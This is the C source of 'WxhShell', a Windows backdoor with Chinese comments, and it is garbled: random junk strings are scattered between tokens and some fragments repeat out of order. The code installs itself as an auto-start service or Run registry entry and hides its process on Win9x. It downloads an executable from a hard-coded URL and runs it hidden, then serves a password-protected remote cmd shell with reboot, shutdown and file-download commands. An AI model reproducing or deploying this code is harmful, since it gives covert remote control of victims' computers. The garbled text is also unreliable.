2_i g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F!&pENQ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2]3HX3 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~Ex.Yp8. :dguQ|e if (!NtQueryInformationProcess) return 0; 3> #mO}\ 6eT'[Umx hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GWInN8.5 if(!hProcess) return 0; ZGpTw[5ql qysa!B if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3Y{)(%I p RwGv CloseHandle(hProcess); UB$`;'|i 2rCY&8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kr(<Y| if(hProcess==NULL) return 0; %W4aKb?BT 2-V)>98 HMODULE hMod; 8RAeJ~e char procName[255]; 8M|)ojH unsigned long cbNeeded; 2ly,l[p8 eq~c if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6#)Jl T_x+sv=|X! CloseHandle(hProcess); @qPyrgy
NVJ&C]H6 if(strstr(procName,"services")) return 1; // 以服务启动 Nr24[e
G>d sk
?'^6Xh return 0; // 注册表启动 pTALhj#, } `GQiB]Z ,![Du::1 // 主模块 ZJ9Jf2 c int StartWxhshell(LPSTR lpCmdLine) ,B %fjcn { VL7S7pb_ SOCKET wsl; C5+`< BOOL val=TRUE; So=nB} b[? int port=0; oKYhE struct sockaddr_in door; ^+as\ Dk`4bYK if(wscfg.ws_autoins) Install(); !(*a+ur&i Y#lk!#\Y port=atoi(lpCmdLine); GwQZf| O<1vSav!K if(port<=0) port=wscfg.ws_port; Hs%QEvZl < m enABN4 WSADATA data; x_<bK$OU if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a_{io`h3& 0TO_1 0D if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; eOehgU5x setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )[^y
t0% door.sin_family = AF_INET; abo>_"9- door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~`2&'8 door.sin_port = htons(port); u`Z0{d zr.+'
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .%?-As closesocket(wsl); H^D
3NuUC return 1; TF=k(@9J? } 3qiJwo> q9^Y?` if(listen(wsl,2) == INVALID_SOCKET) { rX33s closesocket(wsl); A
mI>m return 1; hza> jR } dK}WM46$ Wxhshell(wsl); #0bO)m+NZ WSACleanup(); 7}ws
|4Y kS+r"e
.TM return 0; ({%oi h Fm<jg}>MAd } I vTzPPP Vvm=MBgN // 以NT服务方式启动 QqiJun_m VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VYamskK[G: { !%c{+]g DWORD status = 0; K`QOU-M@} DWORD specificError = 0xfffffff; RpO@pd m 7R9nMGJ@ serviceStatus.dwServiceType = SERVICE_WIN32; 5: daa serviceStatus.dwCurrentState = SERVICE_START_PENDING; YlswSQ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )bLGEmm serviceStatus.dwWin32ExitCode = 0; "1XXE3^^ serviceStatus.dwServiceSpecificExitCode = 0; VG_uxKY serviceStatus.dwCheckPoint = 0; d4Co^A& serviceStatus.dwWaitHint = 0; Xhcn] 4$
Dt8!p0 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); R_1)mPQ^P if (hServiceStatusHandle==0) return; ,VNi_.W0 DW/1 =3 status = GetLastError(); J~Cc9"( if (status!=NO_ERROR) E/mubA(& { ? YF${ serviceStatus.dwCurrentState = SERVICE_STOPPED; $#%U\mIz serviceStatus.dwCheckPoint = 0; [%@2o< serviceStatus.dwWaitHint = 0; 4_PCqEp) serviceStatus.dwWin32ExitCode = status; pOC% oj serviceStatus.dwServiceSpecificExitCode = specificError; f64(a\Rw!^ SetServiceStatus(hServiceStatusHandle, &serviceStatus); M1oPOC\0. return; $hkq>i \ } 5D,.^a1 A b4>``n serviceStatus.dwCurrentState = SERVICE_RUNNING; m\>|C1oRy serviceStatus.dwCheckPoint = 0; q0,kDM66 serviceStatus.dwWaitHint = 0; O:
,$% if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }]AT _bh, } @j O4EEe: v*E(/}<v // 处理NT服务事件,比如:启动、停止 5Sr4-F+@% VOID WINAPI NTServiceHandler(DWORD fdwControl) V0K16#}1gM { !z11"
c switch(fdwControl) 7~_I=- { +I t#Z3 case SERVICE_CONTROL_STOP: Qg(Z{V serviceStatus.dwWin32ExitCode = 0; (`
5FZgN serviceStatus.dwCurrentState = SERVICE_STOPPED; 1/B]TT serviceStatus.dwCheckPoint = 0; 'E4AV58. serviceStatus.dwWaitHint = 0; Ntb:en!X { %.mEBI=hs SetServiceStatus(hServiceStatusHandle, &serviceStatus); W'a(oI } V=pMq?Nr return; TG}d3ZU
! case SERVICE_CONTROL_PAUSE: %$@1FlqX; serviceStatus.dwCurrentState = SERVICE_PAUSED; .%=V">R break; qnB<k,8T case SERVICE_CONTROL_CONTINUE: N]NF\7( serviceStatus.dwCurrentState = SERVICE_RUNNING; NXpmT4 break; X) V7bVW case SERVICE_CONTROL_INTERROGATE: m9in1RI% break; pkJ/oT }; 57wFf-P SetServiceStatus(hServiceStatusHandle, &serviceStatus); {;s;. } AS)UJ/lC ,57$N&w // 标准应用程序主函数 =;0wFwSz int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !b8uLjd; { YEv%C|l <$%X<sDkq // 获取操作系统版本 !/`$AXO OsIsNt=GetOsVer(); VYZU eh GetModuleFileName(NULL,ExeFile,MAX_PATH); r9#
\13- zN#*G
i' // 从命令行安装 UXT
p if(strpbrk(lpCmdLine,"iI")) Install(); ~C-,G"zw&G )VSwTx& // 下载执行文件 +TK3{5`!Ae if(wscfg.ws_downexe) { k.<3HU if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?38lHn`FyQ WinExec(wscfg.ws_filenam,SW_HIDE); X'f.Q } z-dFDtiA -w1@!Sdd if(!OsIsNt) { J'b<z.OW // 如果时win9x,隐藏进程并且设置为注册表启动 > _ <'D HideProc(); @@@=}!<H= StartWxhshell(lpCmdLine); =pcF:D#+ } &?0:v`4Y else s,6`RI% if(StartFromService()) y}FZD?" // 以服务方式启动 )KE[!ofD StartServiceCtrlDispatcher(DispatchTable); |?d#eQ9a else #sTEQjJ,J // 普通方式启动 5c5oSy+ StartWxhshell(lpCmdLine); pd3,pQ Y4E/?37j return 0; >@_im6 } UDy(dn>J:J W3r?7!~ Kv37s0|g g:7,~}_}^ =========================================== 7ER|'j G,f-. UH?
p]4Nz 'OkGReKt xe4Oxo FdzNE " W#'c5:m
4 VA] e #include <stdio.h> 1TS0X:TCn #include <string.h> jCioE #include <windows.h> -`b8T0?oK #include <winsock2.h> `Out(Hn #include <winsvc.h> IvHh4DU3Z #include <urlmon.h> =-KMb`xT 8j5<6Cv_
#pragma comment (lib, "Ws2_32.lib") /ASaB #pragma comment (lib, "urlmon.lib") v>Lm;q( qJPT%r #define MAX_USER 100 // 最大客户端连接数 YO+{,$ #define BUF_SOCK 200 // sock buffer c$:1:B9\ #define KEY_BUFF 255 // 输入 buffer 0nJE/JZ iD`d99f8O #define REBOOT 0 // 重启 l[Q:}y #define SHUTDOWN 1 // 关机 lDc-W =X= fB1TFtAh #define DEF_PORT 5000 // 监听端口 KS}hU~ ^/U27B #define REG_LEN 16 // 注册表键长度 vxFTen{-F #define SVC_LEN 80 // NT服务名长度 @%/]Q<<q j}1zdA // 从dll定义API mYxyWB typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); dq\FBwfe typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6at1bQ$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bWWXc[O2&( typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %FZ2xyI. {ZU1x C // wxhshell配置信息 .zg8i_ struct WSCFG { \OILWQ[/ int ws_port; // 监听端口
asJ!NvVG' char ws_passstr[REG_LEN]; // 口令 '1?\/,em int ws_autoins; // 安装标记, 1=yes 0=no 1'.7_EQ4T char ws_regname[REG_LEN]; // 注册表键名 z~*g ~RKS! char ws_svcname[REG_LEN]; // 服务名 @"-</x3o char ws_svcdisp[SVC_LEN]; // 服务显示名 ~y HU^5D char ws_svcdesc[SVC_LEN]; // 服务描述信息 DdQ;Q5| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (*p ,T int ws_downexe; // 下载执行标记, 1=yes 0=no Z@a9mFI? char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E/M_lvQ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KRAcnY;u lot%N(mB` }; kIHDeo%K} <%.5hCTp97 // default Wxhshell configuration VKp*9%9 struct WSCFG wscfg={DEF_PORT, fhPkEvJ "xuhuanlingzhe", Sr?#wev]rn 1, qfY5Ww$8 "Wxhshell", o+w;PP)+= "Wxhshell", Q?b14]6im "WxhShell Service", Fm\"{)V:b "Wrsky Windows CmdShell Service", Jn:ZYqc "Please Input Your Password: ", dZ#&YG)?e 1, {7u[1[L1 "http://www.wrsky.com/wxhshell.exe", j#r6b]k(Hv "Wxhshell.exe" YHNR3 }; Snp|!e @"a6fn // 消息定义模块 1 `^Rdi0 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ]aP=Ks% char *msg_ws_prompt="\n\r? for help\n\r#>"; :x.7vZzxs char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; o[oM8o< char *msg_ws_ext="\n\rExit."; m!<i0thJ char *msg_ws_end="\n\rQuit."; m>USD?i char *msg_ws_boot="\n\rReboot..."; w(ln5q char *msg_ws_poff="\n\rShutdown..."; <q*oV char *msg_ws_down="\n\rSave to "; ,}oM-B qm/Q65>E char *msg_ws_err="\n\rErr!"; :NJ_n6E char *msg_ws_ok="\n\rOK!"; pl@O
N"=[ ,B?~-2cCz char ExeFile[MAX_PATH]; OsBo+fwT int nUser = 0; <,o>Wx*1C HANDLE handles[MAX_USER]; W} WI; cI int OsIsNt; Lbe\@S .2d9?p3Y SERVICE_STATUS serviceStatus; We0.3aG SERVICE_STATUS_HANDLE hServiceStatusHandle; r/pH_@ Grs]d-xI // 函数声明 mxor1P#| int Install(void); x{D yTtX< int Uninstall(void); %CWPbk^ int DownloadFile(char *sURL, SOCKET wsh); D\IjyZ-O int Boot(int flag); SJD@&m%?[ void HideProc(void); 9T#;,{VQ int GetOsVer(void); P96pm6H_; int Wxhshell(SOCKET wsl); _zlqtO void TalkWithClient(void *cs); zvABU+{jD int CmdShell(SOCKET sock); fYKO J5f int StartFromService(void); HhO".GA int StartWxhshell(LPSTR lpCmdLine); oFOnjK"|F %ZHP2j
%~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o FjIA! VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;&H4u) z/i+EE // 数据结构和表定义 21k5I #U SERVICE_TABLE_ENTRY DispatchTable[] = r0p w_j { YK|bXSA[ {wscfg.ws_svcname, NTServiceMain}, *JggU {NULL, NULL} 8DP+W$ }; %$%&m1Y {U&.D
[{& // 自我安装 vJAZ%aW int Install(void) !9 fz(9 { Gt9&)/# char svExeFile[MAX_PATH]; IV\J3N^ HKEY key; >S$Z strcpy(svExeFile,ExeFile); ss;R8:5 xsWur(> ] // 如果是win9x系统,修改注册表设为自启动 5 ae2<Y= if(!OsIsNt) { F~A 'X if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [O:
!(Gje RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SG6sw]x RegCloseKey(key); s-dLZ.9F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B"%{i-v>** RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9"g6C< RegCloseKey(key); &89oO@5 return 0; 0uBl>A7qhn } wEzKqD } `xrmT t
X } 5d Z |! else { 1sYEZO; m3o,@=b // 如果是NT以上系统,安装为系统服务 O%r; 5kP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @)SL_9 if (schSCManager!=0) aZ\UrV4, { 2t $ j SC_HANDLE schService = CreateService @LJpdvb ( 'M3">$N schSCManager, 610D%F wscfg.ws_svcname, WxF:~{ wscfg.ws_svcdisp, ayAo^q SERVICE_ALL_ACCESS, >}(CEzc8 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J,b&XD@m SERVICE_AUTO_START, xW92ch+t SERVICE_ERROR_NORMAL, Wb S4pdA svExeFile, >[X{LI(_<< NULL, 6~*9;!th NULL, 52o x`t| NULL, "s\L~R.& NULL, 3"F`ZJ]= NULL $+7`Dy! ); 86z]<p ( if (schService!=0) 6Zn
@2PGEl { 4b:s<$TZ CloseServiceHandle(schService); 2B,] -Mu) CloseServiceHandle(schSCManager); dx;k`r$w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;'-olW~ strcat(svExeFile,wscfg.ws_svcname); D-,L&R!` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { fryJW= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cV`E>w=D0 RegCloseKey(key); !+:ov'F return 0; \e`~i@) ~Z } )#LpCM,a } 5Ba[k[b^ CloseServiceHandle(schSCManager); Xt#1Qs } H{t_xL)k. } f-r]
|k 7#wn<HDY% return 1; 8XsguC } &d'Awvy0 *3D%<kVl // 自我卸载 /Wf^hA
int Uninstall(void) JsotOic% { /EG~sRvl} HKEY key; HI@syFaJM DLCkM*' if(!OsIsNt) { b"TjGE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uo-`>7 RegDeleteValue(key,wscfg.ws_regname); \%p34K\ RegCloseKey(key); yS=oUE$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6)BR+U RegDeleteValue(key,wscfg.ws_regname); J+f!Ar RegCloseKey(key); WKSPBT; return 0; u<nLag } ,~?YBLw@c } RN@ctRS } h`3eu;5) else { =w$}m_AM w}CmfR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
GLGz2 ,# if (schSCManager!=0) \o';"Q1H { hI( SOsKs SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M'!U<Y
- if (schService!=0) [b$4Shx { LzCw+@-umw if(DeleteService(schService)!=0) { WQHd[2Z#e CloseServiceHandle(schService); <EST?.@~+ CloseServiceHandle(schSCManager); |`;54_f return 0; It75R}B } !\g+8> CloseServiceHandle(schService); KWWa&[ev) } ox
; CloseServiceHandle(schSCManager); 3
zn W= } E#F/88( } )Jv[xY~ kkK
kf' return 1; t>H`X~SR? } K).n.:vYZ m RZ:ie // 从指定url下载文件 ]f1{n int DownloadFile(char *sURL, SOCKET wsh) r0m*5rd1 { R-P-i0~ HRESULT hr; X_v[MW char seps[]= "/"; 6[]]Y,Y char *token; !`7B^RZ char *file; x\Y $+A,P char myURL[MAX_PATH]; 5xOv Y char myFILE[MAX_PATH]; VAXT{s&4> u_).f<mUdF strcpy(myURL,sURL); {f{ZHi| token=strtok(myURL,seps); r `eU~7 while(token!=NULL) c_"
~n| { kD}Y|*]5-5 file=token; #A8@CA^d token=strtok(NULL,seps); P/`I.p ; } ^#0U ?9 7L^%x3-|& GetCurrentDirectory(MAX_PATH,myFILE); Xo*DvD strcat(myFILE, "\\"); TYA~#3G) strcat(myFILE, file); lKgKtQpi send(wsh,myFILE,strlen(myFILE),0); ~l2aNVv; send(wsh,"...",3,0); LF0sH)e] hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); vO;I(^Q if(hr==S_OK) ]#.]/f
>- return 0; R
CkaJ3 else d9n?v)<v return 1; b<]n%Q'n *~/OOH$" } 8KH\`5< !'Q -yoHKD // 系统电源模块 |A8/FU2{ int Boot(int flag) WF\)fc#;_o { ZR\VCVH\^ HANDLE hToken; $fgf
Y8 TOKEN_PRIVILEGES tkp; #);[mW{F &[hLzlrg if(OsIsNt) { d`1I".y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =LTmr1? LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *kIc9} tkp.PrivilegeCount = 1; =f(cH152T tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V
_c@ b% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
U8(Nk\"X\ if(flag==REBOOT) { jg&E94}+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c`fG1s return 0; )yo
a } aTzjm`F0 else { jP~Z`yf if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rS1fK1dys return 0; *Y@nVi }
G"T',~ } Z;h<6[( else { A*|cdY]HP if(flag==REBOOT) { h!m_PgRSs if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X=C1/4wU return 0; &[&r2>a } SwU\
q]^|Z else { uf&N[M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^_ojR4 return 0; HV/c c" } 3~#h|? } = P TO-$B8*nq return 1; TT9z_Q5~ } {-A^g!jT& |+$%kJR= // win9x进程隐藏模块 1jX3ey~ void HideProc(void) 6;
Y0a4Ax { %0Y=WYUH> KLX/O1B HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 'Z`$n8 if ( hKernel != NULL ) $#|gLVOQ { <94_@3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (5Sivw*mP ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IG3,XW FreeLibrary(hKernel); $x6$*K(F } Iyo@r%I &P,^.' return; ?X&6M;Zi } 7#<c>~
eyp,y2Tz // 获取操作系统版本 rDdzxrKg{ int GetOsVer(void) )NR Q2 { BA=,7 y&;j OSVERSIONINFO winfo; ]m#5`zGK1| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e:AHVepj{ GetVersionEx(&winfo); {s3z"OV if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8UkKU_Uso return 1; "KJ%|pg_C else N0>0z]4;q return 0; MV=9!{` } t!K*pM I-agZag% // 客户端句柄模块 OTZ_c1"K int Wxhshell(SOCKET wsl) 1T)Zh+?)} { wC-Rr^q SOCKET wsh; !K?qgM struct sockaddr_in client; y&_m4Zw" DWORD myID; B??J@+Nf N S#TW while(nUser<MAX_USER) !Oi~:Pp { +PK6-c\r int nSize=sizeof(client); Rte+(- iL wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {J5JYdK if(wsh==INVALID_SOCKET) return 1; _p?s9& I\|N handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); D=TL>T.bf if(handles[nUser]==0) j6(?D*x closesocket(wsh); ,i.%nZw\ else xug)aE nUser++; ~m*,mz } d1joVUYE WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #Dfo#]k( _8G>&K3T< return 0; gw _$ } vB!|\eJ _ q(Q // 关闭 socket ~L7:2weV[ void CloseIt(SOCKET wsh) &:=$wc {
,YhwpkL closesocket(wsh); , %YBG1E[y nUser--; I^Z8PEc+ ExitThread(0); [_xyl e } c<#<k}y nY $tp // 客户端请求句柄 ~Ki`Ze"x void TalkWithClient(void *cs) H6aM&r9} { Q:6VYONN ESb
]}c: SOCKET wsh=(SOCKET)cs; O3V.^_k; char pwd[SVC_LEN]; l.nH?kK< char cmd[KEY_BUFF]; F~U!1) char chr[1]; /(t sb int i,j; IF*&%pB _y .]3JNm while (nUser < MAX_USER) { woq)\;CK 5.tvB if(wscfg.ws_passstr) { Tp<k<uKD if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bzi|s5!'< //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pUl8{YGS //ZeroMemory(pwd,KEY_BUFF); BpLEPuu30 i=0; nU`Lhh8y while(i<SVC_LEN) { }%n5nLU` f=J<*h // 设置超时 #pdUJ2)yM fd_set FdRead; W4YE~ struct timeval TimeOut; GD-&_6a FD_ZERO(&FdRead); /NF# +bx FD_SET(wsh,&FdRead); NN
0Q`r,8} TimeOut.tv_sec=8; r+<{S\ Q TimeOut.tv_usec=0; si(;y]( int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uHNpfKnZ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A\te*G0:S dPjhq(8 zU if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <@bA?FY pwd=chr[0]; Hoz5 6y if(chr[0]==0xd || chr[0]==0xa) { q;AT>" = ) pwd=0; P,bd' break;
+f4W"t } ;+pOP |P= i++; OuIv e>8 } EP7AP4 %IBL0NQT // 如果是非法用户,关闭 socket [;O^[Iybf: if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (foBp } u@%|kc` jJwkuh8R send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U l Mi.;/^ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /48 =UK b4,jN~ci while(1) { AH{^spD{7, f3WSa&eF ZeroMemory(cmd,KEY_BUFF); 4}KU>9YRA xk~Nmb} // 自动支持客户端 telnet标准 >Cd9fJ&0gP j=0; +C7T]&5s while(j<KEY_BUFF) { MmU%%2QG if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lj &>cScC cmd[j]=chr[0]; INMP"1 if(chr[0]==0xa || chr[0]==0xd) { /c+)C" cmd[j]=0; i+M*J#' break; -.vDF?@G } 4f1D*id*`# j++; qJ[@:&: } 9EF~l9`'U &:?e & // 下载文件 9( VRq^Z1 if(strstr(cmd,"http://")) { BH : send(wsh,msg_ws_down,strlen(msg_ws_down),0); r>qA $zD^ if(DownloadFile(cmd,wsh)) w! q& send(wsh,msg_ws_err,strlen(msg_ws_err),0); I6OSC&A` else CdhSp$> send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P6?0r_Y } +p/1x'J else { Nh)[rx ekzjF\!y switch(cmd[0]) {
Go+[uY^ }_4 6y*o8 // 帮助 I
8Y*@$h case '?': { -Fwh3F4g send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?J|4l[x break; 'm1. X-$V } /! ^P)yU, // 安装 ~mILA->F case 'i': { _C+DB A if(Install()) `B#Z;R send(wsh,msg_ws_err,strlen(msg_ws_err),0); -2NwF4VL else h$h]%y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ge}$rLu]0 break; Ob&W_D^=N } y' tRANxQ // 卸载 LC'F<MpM case 'r': { \K`jCsT if(Uninstall()) q6[}ydV send(wsh,msg_ws_err,strlen(msg_ws_err),0); P79R~m` else V;[p438o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lk(S2$)* break; 2bA#D%PHD } zv%J=N$G // 显示 wxhshell 所在路径 ZzL@[g case 'p': { F2oJ]th.3 char svExeFile[MAX_PATH]; <%,'$^'DS strcpy(svExeFile,"\n\r"); X!0kK8v strcat(svExeFile,ExeFile); VJ1*|r, send(wsh,svExeFile,strlen(svExeFile),0); q`loOm=y break; >rRf9wO1l } H%.zXQ4}n // 重启 |[w^eg case 'b': { ul}'{|4 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iK x+6v if(Boot(REBOOT)) DPPS?~Pq send(wsh,msg_ws_err,strlen(msg_ws_err),0); dM|g`rr
E else { B82,.? closesocket(wsh); uZ[/%GTX{) ExitThread(0); Oc-u=K,B } ze"~Ird break; L[]^{ O } a@SUi~+3 // 关机 2NR7V*A case 'd': { =K6c; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ta! V=U if(Boot(SHUTDOWN)) <P pYl send(wsh,msg_ws_err,strlen(msg_ws_err),0); U(3(ZqP else { 9A*rE.B+W closesocket(wsh); DNho%Xk ExitThread(0); 9 }n,@@ } W8.j/K: break; /W9
&Ke } 4I.1D2 1jA // 获取shell -h9#G{2W[ case 's': { t,?,F4j CmdShell(wsh); z_)`g`($ closesocket(wsh); z+6QZQk ExitThread(0); BQU/Qo DY break; pDhY%w# } lu3.KOD/ // 退出 V* Qe5j9 case 'x': { $F1_^A[ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /d]~ly
@uI CloseIt(wsh); #`58F . break; "8_,tYAH } .P%ym~S // 离开 zW)gC9_|m- case 'q': { E.#6;HHzN send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xv*}1PZH closesocket(wsh); )[ w&C_>] WSACleanup(); \Jf9npz3 exit(1); x,-S1[#X; break; ??+:vai2 }
X4
Y } $/.<z(F } zg7G^!PU GMTor // 提示信息 AI R{s7N if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _y-B";Vmm
} uA^hCh-js } wEK%T P4 - XLo0 return; o]p#%B?mZ } w#<^RKk Rd vn)K // shell模块句柄 Y'&8L'2Z[ int CmdShell(SOCKET sock) rkq)&l=ny { _2; ^v`[ STARTUPINFO si; $*i7?S@~- ZeroMemory(&si,sizeof(si)); pzAoq)gg: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !(yT7#?hP si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uwId PROCESS_INFORMATION ProcessInfo; rx}*u3x=
char cmdline[]="cmd"; F1\`l{B,\ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &!OGIYC( return 0; qlEFJ5; } E{I)]h y,^";7U // 自身启动模式 1h{>[ 'L int StartFromService(void) \"J?@ { (`F|nG=X typedef struct jF4csO=E { (>mi!: DWORD ExitStatus; ?^Pq/VtZ DWORD PebBaseAddress; KZW'O
b>[ DWORD AffinityMask; $(XgKq&xWZ DWORD BasePriority; db^aL8 ULONG UniqueProcessId; {GK(fBE ULONG InheritedFromUniqueProcessId; PM8Ks?P#u } PROCESS_BASIC_INFORMATION; }D Z)W0RDe _o&94& PROCNTQSIP NtQueryInformationProcess;
{&0mK"z_ 6SV7\,2M static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k*OvcYL1A static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %`eJ66T /Ht/F)&P HANDLE hProcess; e& p_f< PROCESS_BASIC_INFORMATION pbi; @~s~/[ KjBOjD'I HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jp%+n if(NULL == hInst ) return 0; RrKfTiK H U>in2u9 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k06xz#pL g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ma>:_0I5 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6<<'bi 5cgo)/3M@} if (!NtQueryInformationProcess) return 0; \WiqN*ZF Q:pzL
"bT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &adY if(!hProcess) return 0; )`mbf|,&t{ {:,_A if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; & & |